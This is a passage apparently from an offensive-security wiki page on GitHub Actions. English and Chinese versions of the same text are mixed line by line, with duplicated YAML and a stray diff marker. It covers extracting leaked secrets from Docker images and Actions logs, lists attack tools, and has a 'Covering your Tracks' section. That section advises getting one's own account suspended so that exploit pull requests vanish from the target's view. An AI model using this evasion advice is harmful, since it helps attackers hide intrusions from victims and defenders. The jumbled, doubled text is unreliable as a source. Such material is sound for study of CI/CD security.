检查[**此帖子以获取更多信息**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker 镜像注册表
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
可以创建 Github actions 来 **在 Github 内部构建和存储 Docker 镜像**。\
以下可找到一个示例:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
<summary>Github Action 构建 &#x26; 推送 Docker 镜像</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
正如您在之前的代码中看到的Github 注册表托管在 **`ghcr.io`**。
具有对该仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
然后,用户可以搜索 **Docker 镜像层中的泄露秘密:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Github Actions 日志中的敏感信息
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
即使 **Github** 尝试 **检测日志中的秘密值****避免显示** 它们,**其他敏感数据** 在执行操作时生成的内容仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。
## Covering your Tracks
## 掩盖你的痕迹
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(技术来自 [**这里**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit))首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 **无法删除互联网上的 PR**,但有一个变数。对于被 Github **暂停** GitHub 账户,所有的 **PR 会被自动删除** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub 账户被暂停或被标记**。这将 **隐藏你在 GitHub 上的所有活动**(基本上移除你所有的利用 PR
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”,他们会确保你的账户在 12 小时内被暂停 :p 这样,你的利用在 GitHub 上就变得不可见了。
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> 组织发现自己被针对的唯一方法是通过 SIEM 检查 GitHub 日志,因为从 GitHub UI PR 会被移除。
## Tools
## 工具
The following tools are useful to find Github Action workflows and even find vulnerable ones:
以下工具对于查找 GitHub Action 工作流甚至查找易受攻击的工作流非常有用:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}